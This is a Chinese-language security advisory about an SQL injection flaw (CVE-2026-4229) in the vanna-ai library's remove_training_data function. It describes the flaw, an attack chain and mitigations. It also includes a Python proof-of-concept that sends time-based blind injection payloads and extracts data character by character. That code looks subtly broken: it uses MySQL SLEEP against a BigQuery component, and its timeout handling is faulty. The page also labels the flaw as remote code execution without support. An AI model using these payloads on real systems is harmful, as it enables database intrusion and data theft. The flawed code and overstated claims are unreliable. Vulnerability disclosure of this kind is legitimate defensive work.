IPBUF安全漏洞报告
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CVE-2026-4229 CVSS 7.3 高危

CVE-2026-4229: vanna-ai vanna remove_training_data函数SQL注入漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4229
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
vanna-ai vanna

相关标签

SQL注入vanna-aiCVE-2026-4229远程代码执行BigQuery高危漏洞数据泄露Python开源组件漏洞

漏洞概述

CVE-2026-4229是vanna-ai开源项目中的一个高危SQL注入漏洞,该漏洞存在于vanna库的bigquery_vector.py文件中的remove_training_data函数。由于该函数对用户输入的ID参数未进行充分的输入验证和SQL语句参数化处理,导致攻击者可以通过构造恶意的ID参数值实现SQL注入攻击。vanna是一个基于自然语言的SQL生成和数据库查询工具,被广泛应用于数据分析和AI辅助数据库交互场景。该漏洞影响vanna 2.0.2及之前的所有版本,攻击者可利用此漏洞在未经身份验证的情况下远程执行任意SQL语句,从而窃取敏感数据库数据、修改数据库内容或破坏数据完整性。由于该漏洞的攻击复杂度较低且已公开利用代码,对使用受影响版本的企业和个人用户构成严重安全威胁。建议所有使用vanna-ai的用户立即采取防护措施并关注官方安全更新。

技术细节

该SQL注入漏洞位于vanna库的src/vanna/legacy/google/bigquery_vector.py文件中的remove_training_data函数。漏洞产生的根本原因是该函数直接使用用户传入的ID参数构造SQL查询语句,而未对输入进行安全过滤或使用参数化查询。攻击者可以通过向remove_training_data函数传递包含SQL恶意payload的ID值,实现SQL注入攻击。例如,攻击者可以构造包含UNION SELECT、延时注入或布尔盲注等技术的payload来提取数据库中的敏感信息。由于该函数可能被API端点或Web接口调用,攻击者可以远程利用此漏洞,无需任何认证凭据即可执行SQL注入攻击。成功利用后,攻击者能够读取、修改或删除数据库中的任意数据,包括用户凭证、业务数据和系统配置信息。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标系统中运行vanna-ai的应用,定位可访问的API端点或Web接口
STEP 2
步骤2
漏洞识别:攻击者发现remove_training_data函数存在SQL注入漏洞,该函数直接使用用户输入构造SQL语句
STEP 3
步骤3
Payload构造:攻击者构造包含SQL注入payload的恶意请求,如使用UNION注入、延时注入或布尔盲注技术
STEP 4
步骤4
远程利用:通过HTTP POST请求将恶意payload发送到vanna的remove_training_data接口,无需任何认证
STEP 5
步骤5
数据窃取:成功注入后,攻击者可以执行任意SQL语句,提取数据库中的敏感信息如用户数据、业务数据等
STEP 6
步骤6
持久化控制:攻击者可能进一步利用漏洞创建后门账户或修改数据库内容以维持长期访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-4229 SQL Injection PoC for vanna-ai vanna # Target: vanna-ai vanna <= 2.0.2 # Endpoint: remove_training_data function in bigquery_vector.py TARGET_URL = "http://target-server/api/remove_training" # Malicious payload for SQL injection # Using time-based blind SQL injection technique payload = { "id": "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" } def exploit_sql_injection(): """ Exploit SQL injection in vanna-ai remove_training_data function This PoC demonstrates time-based blind SQL injection """ try: print("[*] Sending malicious request...") print(f"[*] Target: {TARGET_URL}") print(f"[*] Payload: {payload}") response = requests.post(TARGET_URL, json=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") return response except requests.exceptions.Timeout: print("[+] SQL Injection confirmed! Request timed out as expected.") return None except Exception as e: print(f"[-] Error: {e}") return None def extract_dataBlind(sql_query): """ Extract data using time-based blind SQL injection Example: Extract database version """ # Character-by-character extraction using binary search extracted = "" for pos in range(1, 50): low = 32 high = 126 while low <= high: mid = (low + high) // 2 payload = { "id": f"1' AND (SELECT CASE WHEN (ASCII(SUBSTRING(({sql_query}),{pos},1))>{mid}) THEN SLEEP(2) ELSE 0 END) AND '1'='1" } try: response = requests.post(TARGET_URL, json=payload, timeout=5) except: pass # If timeout occurs, character is greater than mid # Adjust range accordingly if response is None: low = mid + 1 else: high = mid - 1 if high >= 32: extracted += chr(high) print(f"[*] Extracted so far: {extracted}") return extracted if __name__ == "__main__": print("="*60) print("CVE-2026-4229 SQL Injection PoC") print("vanna-ai vanna <= 2.0.2") print("="*60) exploit_sql_injection()

影响范围

vanna-ai vanna <= 2.0.2

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 通过网络层访问控制限制对vanna API端点的访问,只允许受信任的IP地址访问;2) 临时禁用remove_training_data功能或设置严格的调用频率限制;3) 在应用层实现输入过滤,移除或转义SQL特殊字符如单引号、分号等;4) 加强对数据库账户的权限控制,确保vanna应用使用的数据库账户仅为只读权限(对于查询功能)或限制特定表的写权限;5) 部署入侵检测系统监控异常的SQL查询模式;6) 考虑使用Web应用防火墙规则阻断已知的SQL注入攻击特征。建议尽快升级到官方发布的安全版本以彻底消除该漏洞风险。

参考链接

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